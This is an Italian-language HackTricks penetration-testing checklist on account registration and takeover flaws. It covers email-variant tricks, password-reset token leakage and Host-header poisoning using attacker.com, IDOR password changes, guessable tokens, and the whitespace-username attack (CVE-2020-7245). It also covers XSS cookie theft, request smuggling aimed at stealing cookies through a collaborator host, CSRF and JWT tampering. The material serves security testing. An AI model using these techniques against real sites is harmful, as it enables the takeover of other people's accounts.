Registration & Takeover Vulnerabilities
Last updated
Last updated
Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Prova a generare utilizzando un nome utente esistente
Controlla variando l'email:
maiuscole
+1@
aggiungi qualche punto nell'email
caratteri speciali nel nome dell'email (%00, %09, %20)
Metti caratteri neri dopo l'email: test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli). In tal caso potresti provare a bruteforza le credenziali.
Controlla questa pagina per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.
Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
Controlla se puoi usare email usa e getta
Password Lunghe (>200) portano a DoS
Controlla i limiti di velocità sulla creazione degli account
Usa username@burp_collab.net e analizza il callback
Richiedi il reset della password al tuo indirizzo email
Clicca sul link di reset della password
Non cambiare la password
Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
Intercetta la richiesta nel proxy di Burp Suite
Controlla se l'intestazione referer sta rivelando il token di reset della password.
Intercetta la richiesta di reset della password in Burp Suite
Aggiungi o modifica le seguenti intestazioni in Burp Suite: Host: attacker.com
, X-Forwarded-Host: attacker.com
Inoltra la richiesta con l'intestazione modificata
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Cerca un URL di reset della password basato sull'intestazione host come: https://attacker.com/reset-password.php?token=TOKEN
L'attaccante deve accedere con il proprio account e andare alla funzione Cambia password.
Avviare Burp Suite e intercettare la richiesta.
Inviarla alla scheda ripetitore e modificare i parametri: ID utente/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta. Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
Timestamp
UserID
Email dell'utente
Nome e Cognome
Data di Nascita
Criptografia
Solo numeri
Sequenza di token piccola (caratteri tra [A-Z,a-z,0-9])
Riutilizzo del token
Data di scadenza del token
Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
Ispeziona la risposta del server e controlla per resetToken
Quindi utilizza il token in un URL come https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: "admin "
Richiedi un reset della password con il tuo nome utente malevolo.
Usa il token inviato alla tua email e reimposta la password della vittima.
Connettiti all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco. Vedi: CVE-2020-7245
Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: *.domain.com
Fuga il cookie delle sessioni attuali.
Autenticati come utente utilizzando il cookie.
1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà il POST / HTTP/1.1
con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X:
con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.
3. La richiesta finale potrebbe apparire come segue
Hackerone riporta l'esploitazione di questo bug * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
Invia il payload
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
Modifica il JWT con un altro ID Utente / Email
Controlla la firma JWT debole
Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)